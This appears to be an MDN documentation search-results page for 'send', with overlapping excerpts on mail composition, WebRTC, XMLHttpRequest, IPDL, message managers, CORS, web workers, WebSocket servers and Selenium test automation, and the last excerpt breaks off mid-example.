); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor abackgroundcolor, in gfxcontext athebescontext); native code only! ...
...gned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor abackgroundcolor, in gfxcontext athebescontext); native code only! ...
...aflags, in nscolor abackgroundcolor, in gfxcontext athebescontext); native code only! ...
...And 58 more matches
Mail composition back end
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2000. by richard h. pizzarro <rhp@netscape.com> contents overview
sending messages nsimsg
send sending listener interfaces nsimsg
sendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "
send later"
sending unsent messages
sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them. the mail composition back end is responsible for the assembly and creation of...
... to store messages for features like "drafts" and "templates". several (but not all) of these interfaces are specified in idl. this will change in the coming weeks and allow for developers to write javascript to take advantage of the back end services. also, i will talk about some features though they may not be complete as of yet. i will try to make comments for these exceptions. ...
...se interfaces are specified in idl. this will change in the coming weeks and allow for developers to write javascript to take advantage of the back end services. also, i will talk about some features though they may not be complete as of yet. i will try to make comments for these exceptions.
sending messages the primary responsibility of the back end is for the creation and
sending of rfc822 messages. the interface that accomplishes this task is the nsimsg
send interface. the feedback mechanism is provided by a nsimsg
sendlistener which is implemented by the caller. the caller has the ability to add or remove listener interfaces to the nsimsg
send object and the interface can support multiple listeners. (for detailed information on the listener interfaces, see the listener ...
...And 50 more matches
Signaling and video calling - Web APIs
prequest to carrier pigeons to exchange the signaling information between the two peers. it's important to note that the server doesn't need to understand or interpret the signaling data content. although it's sdp, even this doesn't matter so much: the content of the message going through the signaling server is, in effect, a black box. ...
... to allow the server to support signaling and ice negotiation, we need to update the code. ...
...ice subsystem. all you have to do is channel the information back and forth. the contents don't matter at all to the signaling server. readying the chat server for signaling our chat server uses the websocket api to
send information as json strings between each client and the server. the server supports several message types to handle tasks, such as registering new users, setting usernames, and
sending public chat messages. to allow the server to support signaling and ice negotiation, we need to update the code. ...
...And 35 more matches
IPDL Tutorial
child actors parent child ipc tabs chrome process content process ipc plugins content process plugin process each protocol is declared in a separate file. the ipdl compiler generates several c++ headers from each ipdl protocol. this generated code manages the details of the underlying communication layer (sockets and pipes), constructing and
sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions. the following ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplugin protocol. two messages can be sent from the parent to t...
... compiled, the headers ppluginparent.h, and ppluginchild.h will be generated in the ipc/ipdl/_ipdlheaders/ directory of the build tree. the ppluginparent and ppluginchild classes are abstract classes that must be subclassed. each outgoing message is a c++ method which can be called. each incoming message is a pure-virtual c++ method which must be implemented: class ppluginparent { public: bool
sendinit(const nscstring& pluginpath) { // generated code to
send an init() message } bool
sendshutdown() { // generated code to
send a shutdown() message } protected: /** * a subclass of ppluginparent must implement this method to handle the ready() message. */ bool recvready() = 0; }; class ppluginchild { protected: bool recvinit(const nscstring& pluginpath) = 0; bool ...
...it is the responsibility of the implementor to create subclasses to perform the actual work involved in each message. ...
...And 23 more matches
Using Objective-C from js-ctypes
class, message, and selector our task at hand is to convert objective-c syntax to c syntax. let's look at the following codelet: [nsspeechsynthesizer alloc] it passes an alloc message to the nsspeechsynthesizer class, in objective-c syntax. it performs the following through this objective-c syntax: get the nsspeechsynthesizer class definition. register the alloc selector for the message.
send a message to the class, with the selector. get a reference to a class class definitions are retrieved with the objc_getclass function, declared in /usr/include/objc/runtime.h. the objc_getclass function receives the name of the class, looks up the definition, and returns it. class objc_getclass(const char *name); in /usr/include/objc/objc.h, class is defined as an opaque type by the followi...
...a selector selectors can be registered and retrieved with sel_registername function, also declared in /usr/include/objc/runtime.h. sel_registername receives the name of the selector, and returns the selector. sel sel_registername(const char *str); sel is defined as follows, in /usr/include/objc/objc.h. it's also an opaque type. ...
...nclude/objc/runtime.h. sel_registername receives the name of the selector, and returns the selector. sel sel_registername(const char *str); sel is defined as follows, in /usr/include/objc/objc.h. it's also an opaque type. typedef struct objc_selector *sel; in this example, we need to
send alloc, its selector can be retrieved with the following code: sel alloc = sel_registername("alloc");
sending a message once target class and selector are ready, you can
send a message. this message can be sent using the objc_msg
send function, and its variants, which are declared in /usr/include/objc/message.h. objc_msg
send function, receives the instance which receives the message, the selector, and variable argument list for the message, returning the returned value from the method. id objc_msgsen...
...And 23 more matches
Message manager overview
managers, and browser message managers. global frame message manager description there's a single global frame message manager in the chrome process. this operates on all frames, in all content tabs. if you load a frame script using the global frame message manager, the script gets loaded separately into every open tab: three times, in the diagram above. similarly, if you
send a message using the global frame message manager, it's received by all content tabs, and is then delivered to any frame scripts that are listening for it. its most important functions and attributes are: childcount : contains the number of children (typically, browser windows) getchildat() : get the child at the given index loadframescript() : load a frame script into every ta...
...r, it's received by all content tabs, and is then delivered to any frame scripts that are listening for it. ...
...rty of services.jsm, if you are in the parent process. window message manager description there's a window message manager for every browser window: two, in the diagram above. it operates on all content tabs in a given window. if you load a frame script using the window message manager it gets loaded separately into each tab open in that particular window. ...
...And 20 more matches
Using DTMF with WebRTC - Web APIs
in order to more fully support audio/video conferencing, webrtc supports
sending dtmf to the remote peer on an rtcpeerconnection. this article offers a brief high-level overview of how dtmf works over webrtc, then provides a guide for everyday developers about how to
send dtmf over an rtcpeerconnection. the dtmf system is often referred to as "touch tone," after an old trade name for the system. webrtc doesn't
send dtmf codes as audio data. instead, they're sent out-of-band, as rtp payloads. note, however, that although it's possible to
send dtmf using webrtc, there is currently no way to detect or receive incoming dtmf. webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perfor...
... perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly.
sending dtmf on an rtcpeerconnection a given rtcpeerconnection can have multiple media tracks sent or received on it. when you wish to transmit dtmf signals, you first need to decide which track to
send them on, since dtmf is sent as a series of out-of-band payloads on the rtcrtp
sender responsible for transmitting that track's data to the other peer. once the track is selected, you can obtain from i...
...on an rtcpeerconnection a given rtcpeerconnection can have multiple media tracks sent or received on it. when you wish to transmit dtmf signals, you first need to decide which track to
send them on, since dtmf is sent as a series of out-of-band payloads on the rtcrtp
sender responsible for transmitting that track's data to the other peer. once the track is selected, you can obtain from its rtcrtp
sender the rtcdtmf
sender object you'll use for
sending dtmf. from there, you can simply call rtcdtmf
sender.insertdtmf() to enqueue dtmf signals to be sent on the track to the other peer. the rtcrtp
sender will then
send the tones to the other peer as packets alongside the track's audio data. each time a tone is sent, the rtcpeerconnection receives a tonechange event with a tone property specifying whi...
...And 20 more matches
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server. examples of both common and more obscure use cases for xmlhttprequest are included. to
send an http request, create an xmlhttprequest object, open a url, and
send the request. after the transaction completes, the object will contain useful information such as the response body and the http status of the result. function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.
send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously. the typ...
...and traverse the dom of the fragment. regexp can be used if you always know the content of the html responsetext beforehand. you might want to remove line breaks, if you use regexp to scan with regard to linebreaks. however, this method is a "last resort" since if the html code changes slightly, the method will likely fail. handling binary data although xmlhttprequest is most commonly used to
send and receive textual data, it can be used to
send and receive binary content. there are several well tested methods for coercing the response of an xmlhttprequest into
sending binary data. these involve utilizing the overridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary st...
...ridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes
sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... */ } oreq.open("get", url); oreq.responsetype = "arraybuffe...
...And 20 more matches
A simple RTCDataChannel sample - Web APIs
the api is intentionally similar to the websocket api, so that the same programming model can be used for each. in this example, we will open an rtcdatachannel connection linking two elements on the same page. while that's obviously a contrived scenario, it's useful for demonstrating the flow of connecting two peers. we'll cover the mechanics of accomplishing the connection and transmitting and receiving data, but we will save the bits about locating and linking to a remote computer for another example. ...
... first, we have a couple of buttons for establishing and closing the connection: <button id="connectbutton" name="connectbutton" class="buttonleft"> connect </button> <button id="disconnectbutton" name="disconnectbutton" class="buttonright" disabled> disconnect </button> then there's a box which contains the text input box into which the user can type a message to transmit, with a button to
send the entered text. this <div> will be the first peer in the channel. <div class="messagebox"> <label for="message">enter a message: <input type="text" name="message" id="message" placeholder="message text" inputmode="latin" size=60 maxlength=120 disabled> </label> <button id="
sendbutton" name="
sendbutton" class="buttonright" disabled>
send </button> <...
...cript 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax. starting up when the script is run, we set up an load event listener, so that once the page is fully loaded, our startup() function is called. ...
...And 19 more matches
ui/frame - Archive of obsolete content
you run the add-on using jpm run. however, they will appear in the browser console. this issue is being tracked as bug 982385. communicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage(). a frame creates a separate iframe instance for each browser window. so there are three cases to consider:
sending messages from a frame script to the main add-on code
sending messages from the main add-on code to all instances of a frame, across all browser windows
sending messages from the main add-on code to a single instance of a frame, attached to a specific browser window in all cases, postmessage() takes two arguments: the message itself and a targetorigin. the targetorigin argument can be eithe...
...targetorigin argument can be either the uri of the document hosted by the target, or the wildcard "*". if you use the uri, then the message will only be dispatched to the window whose document matches that uri. if you know the target uri, you should use it, as this is more secure: it prevents another window from intercepting messages that were intended for someone else. from frame to add-on to
send a message from a frame script to the add-on, use window.parent.postmessage(). this takes two arguments, the message itself and a target origin. if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame script has received a message from the add-on already, it can use the origin property of the event object passed...
...essage(). this takes two arguments, the message itself and a target origin. if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame script has received a message from the add-on already, it can use the origin property of the event object passed to the message hander: // listen for messages from the add-on, and
send a reply window.addeventlistener("message", function(event) { event.source.postmessage("pong", event.origin) }, false); this frame script listens to change events on the "city-selector" <select> element, and
sends a message to the add-on containing the value for the newly selected element. // city-info.js var cityselector = window.document.getelementbyid("city-selector"); cityselector.addevent...
...And 17 more matches
HTTP Index - HTTP
like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server. 45 http cookies advertising, browser, cookies, cookies article, guide, http, history, javascript, privacy, protocols, server, storage, web development, data, request, tracking an http cookie (web cookie, browser cookie) is a small piece of data that a server
sends to the user's web browser. the browser may store it and
send it back with the next request to the same server. 46 http headers http, http header, headers, networking, overview, reference http headers let the client and the server pass additional information with an http request or response. an http header consists of its case-insensitive name followed by a colon (:), then by...
... of a preflight request (that is the information contained in the access-control-allow-methods and access-control-allow-headers headers) can be cached. 61 access-control-request-headers cors, http, reference, header the access-control-request-headers request header is used by browsers when issuing a preflight request, to let the server know which http headers the client might
send when the actual request is made. 62 access-control-request-method cors, http, reference, header the access-control-request-method request header is used by browsers when issuing a preflight request, to let the server know which http method will be used when the actual request is made. this header is necessary as the preflight request is always an options and doesn't use the s...
...te amount of ram client device has. 116 digest http, http header the digest response http header provides a digest of the requested resource. 117 etag http, reference, response, header the etag http response header is an identifier for a specific version of a resource. it lets caches be more efficient and save bandwidth, as a web server does not need to re
send a full response if the content has not changed. additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). 118 early-data client hints, http, header, request the early-data header is set by an intermediate to indicates that the request has been conveyed in tls early data, and additionally indicates that an intermedi...
...And 16 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
in your extension's browser.xul overlay, write code which listens for a custom dom event. here we call the event myextensionevent. var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event. the data from the web page (unprivileged code) will be the values of attribute1 and attribute2. ...
...components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); if you need to to pass lots of data, consider using cdata sections instead of the simple attributes on a custom element. ...
...a, consider using cdata sections instead of the simple attributes on a custom element. note: if you're using html5's postmessage() to
send a message from unprivileged code to privileged code, adding 'true' to the end of your event listener in your privileged chrome code will allow the message to be received. document.addeventlistener("message", function(e) { yourfunction(e); }, false, true);
sending data from chrome to unprivileged document to "answer" the web page (e.g., return code), your extension can set an attribute or attach child elements on the event target element (<myextensiondataelement/> in this example). ...
...And 15 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments. the api is mostly symmetrical, with one major exception: frame scripts can
send asynchronous or synchronous messages to chrome, but chrome can only
send asynchronous messages to content. this is an intentional design decision made to prevent content code from making chrome code unresponsive. ...
...chronous messages to content. this is an intentional design decision made to prevent content code from making chrome code unresponsive. where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame script can choose to
send synchronous or asynchronous messages to chrome code. asynchronous messaging to
send an asynchronous message the frame script uses the global
sendasyncmessage() function: // frame script
sendasyncmessage("my-addon@me.org:my-e10s-extension-message");
sendasyncmessage() takes one mandatory parameter, which is the name of the message. all messages share the same namespace, so to avoid conflicts w...
...e, so to avoid conflicts with other code, you'll need to ensure that the names you use are unique. if you're using the message manager in an add-on, a good way to do that is to prefix messages with your add-on's id. after the name, you can pass detailed data as a string or a json-serializable object, and after that you can pass any objects it wants to pass to content as cpows. ...
...And 15 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
e caller and the callee, so there's no repetition or otherwise added levels of negotiation code to write. perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice rollback to prevent collisions with incoming offers. a polite peer, essentially, is one which may
send out offers, but then responds if an offer arrives from the other peer with "okay, never mind, drop my offer and i'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers. it never apologizes or gives up anything to the polite peer. any time a collision occurs, the impolite peer wins. this way, both peers know exactly what should happe...
...the polite role to the winner. however you make the determination, once these roles are assigned to the two peers, they can then work together to manage signaling in a way that doesn't deadlock and doesn't require a lot of extra code to manage. an important thing to keep in mind is this: the roles of caller and callee can switch during perfect negotiation. if the polite peer is the caller and it
sends an offer but there's a collision with the impolite peer, the polite peer drops its offer and instead replies to the offer it has received from the impolite peer. by doing so, the polite peer has switched from being the caller to the callee! implementing perfect negotiation let's take a look at an example that implements the perfect negotiation pattern. the code assumes that there's a signaling...
...alue), we do nothing. otherwise, we set srcobject to the stream at index 0 in the streams array. the perfect negotiation logic now we get into the true perfect negotiation logic, which functions entirely independently from the rest of the application. ...
...And 15 more matches
Writing WebSocket servers - Web APIs
lementors. section 10 discusses security and you should definitely peruse it before exposing your server. a websocket server is explained on a very low level here. websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular http server) to detect websocket handshakes, pre-process them, and
send those clients to a real websocket server. this means that you don't have to bloat your server code with cookie and authentication handlers (for example). the websocket handshake first, the server must listen for incoming socket connections using a standard tcp socket. depending on your platform, this may be handled for you automatically. for example, let's assume that your server is listening o...
...ations. for example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a multiplayer game. client handshake request even though you're building a server, a client still has to start the websocket handshake process by contacting the server and requesting a websocket connection. so, you must know how to interpret the client's request. the client will
send a pretty standard http request with headers that looks like this (the http version must be 1.1 or greater, and the method must be get): get /chat http/1.1 host: example.com:8000 upgrade: websocket connection: upgrade sec-websocket-key: dghlihnhbxbszsbub25jzq== sec-websocket-version: 13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, common head...
...13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, common headers like user-agent, referer, cookie, or authentication headers might be there as well. do whatever you want with those; they don't directly pertain to the websocket. it's also safe to ignore them. in many common setups, a reverse proxy has already dealt with them. ...
...And 15 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
d to read that information from a web browser. additionally, for http request methods that can cause side-effects on server data (in particular, http methods other than get, or post with certain mime types), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with the http options request method, and then, upon "approval" from the server,
sending the actual request. servers can also inform clients whether "credentials" (such as cookies and http authentication) should be sent with requests. cors failures result in errors, but for security reasons, specifics about the error are not available to javascript. all the code knows is that an error occurred. the only way to determine what specifically went wrong is to look at the browser's con...
... multipart/form-data text/plain no event listeners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.upload property. no readablestream object is used in the request. note: these are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server
sends an appropriate header. therefore, sites that prevent cross-site request forgery have nothing new to fear from http access control. note: webkit nightly and safari technology preview place additional restrictions on the values allowed in the accept, accept-language, and content-language headers. if any of those headers have ”nonstandard” values, webkit/safari does not consider the request t...
... extra restrictions, because they’re not part of the spec. for example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. ...
...And 14 more matches
Codecs used by WebRTC - Web media technologies
video stream must be able to handle video at at least 20 fps at a minimum resolution of 320 pixels wide by 240 pixels tall. it's encouraged that video be encoded at a frame rate and size no lower than that, since that's essentially the lower bound of what webrtc generally is expected to handle. sdp supports a codec-independent way to specify preferred video resolutions (rfc 6236. this is done by
sending an a=imageattr sdp attribute to indicate the maximum resolution that is acceptable. the
sender is not required to support this mechanism, however, so you have to be prepared to receive media at a different resolution than you requested. beyond this simple maximum resolution request, specific codecs may offer further ways to ask for specific media configurations. supported video codecs webrtc...
...nsmissions which are encapsulated within an rtp stream. while it's not a mandatory codec, safari and chrome support it. firefox and edge do not. comfort noise (cn) is a form of artificial background noise which is used to fill gaps in a transmission instead of using pure silence. this helps to avoid a jarring effect that can occur when voice activation and similar features cause a stream to stop
sending data temporarily—a capability known as discontinuous transmission (dtx). in rfc 3389, a method for providing an appropriate filler to use during silences. comfort noise is used with g.711, and may potentially be used with other codecs that don't have a built-in cn feature. opus, for example, has its own cn capability; as such, using rfc 3389 cn with the opus codec is not recommended. an au...
...data temporarily—a capability known as discontinuous transmission (dtx). in rfc 3389, a method for providing an appropriate filler to use during silences. comfort noise is used with g.711, and may potentially be used with other codecs that don't have a built-in cn feature. opus, for example, has its own cn capability; as such, using rfc 3389 cn with the opus codec is not recommended. an audio
sender is never required to use discontinuous transmission or comfort noise. opus the opus format, defined by rfc 6716 is the primary format for audio in webrtc. the rtp payload format for opus is found in rfc 7587. you can find more general information about opus and its capabilities, and how other apis can support opus, in the corresponding section of our guide to audio codecs used on the web. bo...
...And 14 more matches
Extending a Protocol
what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. ...
... what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. ...
...biased towards supporting w3c/whatwg dom apis. what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface. the method will take one argument, a domstring, which we will pass to the parent process. then we will
send that same string back to the child process. the webidl for this will be: partial interface navigator { promise<domstring> echo(domstring somestring); }; learning goals are: extending an existing ipdl protocol. simple message passing. working with mozpromises and js promises. managing child actors with reference counting. visually, it's going to look something like this (except for ...
...And 13 more matches
Using Web Workers - Web APIs
web workers are a simple means for web content to run scripts in background threads. the worker thread can perform tasks without interfering with the user interface. in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null). once created, a worker can
send messages to the javascript code that created it by posting messages to an event handler specified by that code (and vice versa). this article provides a detailed introduction to using web workers. web workers api a worker is an object created using a constructor (e.g. worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. thus, using the win...
...directly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides
send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared. workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with ...
...trolled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js): if (window.worker) { ... } spawning a dedicated worker creating a new worker is simple. ...
...And 12 more matches
Index
objects (e.g. mutex::lock()) has a matching function in nspr (pr_lock()). this is no accident, as mozilla:: primitives are merely bare-minimum wrappers around nspr's. 95 xpcom category image-sniffing-services add-ons, extensions, needscontent in versions of firefox prior to firefox 3, extensions could add decoders for new image types. however, such decoders relied on servers
sending correct mime types; images sent with incorrect mime types would not be correctly displayed. 96 xpcom glue guide, xpcom, xpcom glue the xpcom glue is a static library which component developers and embedders can link against. it allows developers to link only against the frozen xpcom method symbols and maintain compatibility with multiple versions of xpcom. 97 xp...
... reference, xpcom interface reference within gecko, this interface is used by calling get_interface on a docshell. 403 nsiclipboarddragdrophooks clipboard, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to
send the appropriate commands with these parameters/settings: 404 nsiclipboardhelper clipboard, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference this method copies string to (default) clipboard. 405 nsiclipboardowner clipboard, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference the n...
...xul browser, editor or iframe element implements this interface. 433 nsicontentframemessagemanager interface reference, interfaces:scriptable, xpcom, xpcom interface reference this interface provides the environment for scripts that are loaded into content frames using the nsiframescriptloader interface. it enables these scripts to receive messages from the chrome process and
send messages back to the chrome process. 434 nsicontentpref preferences, xpcom no summary! 435 nsicontentprefcallback2 preferences, xpcom, xpcom interface reference called when the method finishes. this will be called exactly once for each method invocation, and afterward no other callback methods will be called. 436 nsicontentprefobserver inte...
...And 11 more matches
Streams - Plugins
streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. ...
...are like normal-mode streams produced by the browser, but in reverse. in normal-mode streams, the browser calls the plug-in to tell it when a stream is created and to push more data. in contrast, for streams produced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it. ...
...t in reverse. in normal-mode streams, the browser calls the plug-in to tell it when a stream is created and to push more data. in contrast, for streams produced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it. ...
...And 11 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
it matters for webrtc purposes, these are dealt with in a variety of places within the webrtc infrastructure. for example, rtcp handles qos monitoring. rtcpeerconnection and rtp each rtcpeerconnection has methods which provide access to the list of rtp transports that service the peer connection. these correspond to the following three types of transport supported by rtcpeerconnection: rtcrtp
sender rtcrtp
senders handle the encoding and transmission of mediastreamtrack data to a remote peer. the
senders for a given connection can be obtained by calling rtcpeerconnection.get
senders(). rtcrtpreceiver rtcrtpreceivers provide the ability to inspect and obtain information about incoming mediastreamtrack data. a connection's receivers can be obtained by calling rtcpeerconnection.getreceivers(...
...these are returned by the rtcpeerconnection.gettransceivers() method, and each mid and transceiver share a one-to-one relationship, with the mid being unique for each rtcpeerconnection. ...
...eraging rtp to implement a "hold" feature because the streams for an rtcpeerconnection are implemented using rtp and the interfaces above, you can take advantage of the access this gives you to the internals of streams to make adjustments. among the simplest things you can do is to implement a "hold" feature, wherein a participant in a call can click a button and turn off their microphone, begin
sending music to the other peer instead, and stop accepting incoming audio. note: this example makes use of modern javascript features including async functions and the await expression. this enormously simplifies and makes far more readable the code dealing with the promises returned by webrtc methods. in the examples below, we'll refer to the peer which is turning "hold" mode on and off as the l...
...And 11 more matches
Getting Started - Developer guides
this article guides you through the ajax basics and gives you some simple hands-on examples to get you started. what's ajax? ajax stands for asynchronous javascript and xml. in a nutshell, it is the use of the xmlhttprequest object to communicate with servers. it can
send and receive information in various formats, including json, xml, html, and text files. ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the server...
...tion name, you can use the javascript technique of defining functions on the fly (called "anonymous functions") to define the actions that will process the response, like this: httprequest.onreadystatechange = function(){ // process the server response here. }; next, after declaring what happens when you receive the response, you need to actually make the request, by calling the open() and
send() methods of the http request object, like this: httprequest.open('get', 'http://www.example.org/some.file', true); httprequest.
send(); the first parameter of the call to open() is the http request method – get, post, head, or another method supported by your server. keep the method all-capitals as per the http standard, otherwise some browsers (like firefox) might not process the request.
...prequest.
send(); the first parameter of the call to open() is the http request method – get, post, head, or another method supported by your server. keep the method all-capitals as per the http standard, otherwise some browsers (like firefox) might not process the request. for more information on the possible http request methods, check the w3c specs. the second parameter is the url you're
sending the request to. as a security feature, you cannot call urls on 3rd-party domains by default. be sure to use the exact domain name on all of your pages or you will get a "permission denied" error when you call open(). a common pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld. ...
...And 11 more matches
Index - HTTP
57 date general header, http, reference, header the date general http header contains the date and time at which the message was originated. 58 etag http, reference, response, header the etag http response header is an identifier for a specific version of a resource. it allows caches to be more efficient, and saves bandwidth, as a web server does not need to
send a full response if the content has not changed. on the other side, if the content has changed, etags are useful to help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). 59 early-data client hints, http, header, request the early-data header is set by an intermediate to indicates that the request has been conveyed in tls early data...
...t http, reference, header the host request header specifies the domain name of the server (for virtual hosting), and (optionally) the tcp port number on which the server is listening. 77 if-match conditional requests, http, http header, reference, request header the if-match http request header makes the request conditional. ...
...if the request has not been modified since, the response will be a 304 without any body; the last-modified response header of a previous request will contain the date of last modification. ...
...And 11 more matches
Setting up your own test automation environment - Learn web development
everything is working. ...
... give it the following contents, then save it: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; const driver = new webdriver.builder() .forbrowser('firefox') .build(); driver.get('http://www.google.com'); driver.findelement(by.name('q')).
sendkeys('webdriver'); driver.sleep(1000).then(function() { driver.findelement(by.name('q')).
sendkeys(webdriver.key.tab); }); driver.findelement(by.name('btnk')).click(); driver.sleep(2000).then(function() { driver.gettitle().then(function(title) { if(title === 'webdriver - google search') { console.log('test passed'); } else { console.log('test failed'); } driver.quit(); }); }); in terminal, make sure you are inside your project folder, then enter the f...
...require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; let driver_fx = new webdriver.builder() .forbrowser('firefox') .build(); let driver_chr = new webdriver.builder() .forbrowser('chrome') .build(); searchtest(driver_fx); searchtest(driver_chr); function searchtest(driver) { driver.get('http://www.google.com'); driver.findelement(by.name('q')).
sendkeys('webdriver'); driver.sleep(1000).then(function() { driver.findelement(by.name('q')).
sendkeys(webdriver.key.tab); }); driver.findelement(by.name('btnk')).click(); driver.sleep(2000).then(function() { driver.gettitle().then(function(title) { if(title === 'webdriver - google search') { console.log('test passed'); } else { console.log('test failed');...
...And 10 more matches
Web Console remoting - Firefox Developer Tools
or not for the top level window object for the given tab - this is always true when navigation starts. when navigation stops the following packet is sent: { "from": tabactor, "type": "tabnavigated", "state": "stop", "url": newurl, "title": newtitle, "nativeconsoleapi": true|false } getcachedmessages(types, onresponse) the webconsoleclient.getcachedmessages(types, onresponse) method
sends the following packet to the server: { "to": "conn0.console9", "type": "getcachedmessages", "messagetypes": [ "pageerror", "consoleapi" ] } the getcachedmessages packet allows one to retrieve the cached messages from before the web console was open. you can only get cached messages for page errors and console api calls. the reply looks like this: { "messages": [ ... ], "fr...
...chedmessages", "messagetypes": [ "pageerror", "consoleapi" ] } the getcachedmessages packet allows one to retrieve the cached messages from before the web console was open. you can only get cached messages for page errors and console api calls. the reply looks like this: { "messages": [ ... ], "from": "conn0.console9" } each message in the array is of the same type as when we
send typical page errors and console api calls. these will be explained in the following sections of this document. actor preferences to allow the web console to configure logging options while it is running, we have added the setpreferences packet: { "to": "conn0.console9", "type": "setpreferences", "preferences": { "networkmonitor.saverequestandresponsebodies": false } } reply: { ...
...essages are cleared whenever the last private window is closed. the console actor provides the lastprivatecontextexited notification: { "from": "conn0.console19", "type": "lastprivatecontextexited" } this notification is sent only when your client is attached to the global console actor, it does not make sense for tab console actors. this notification has been introduced in firefox 24.
send http requests starting with firefox 25 you can
send an http request using the console actor: { "to": "conn0.console9", "type": "
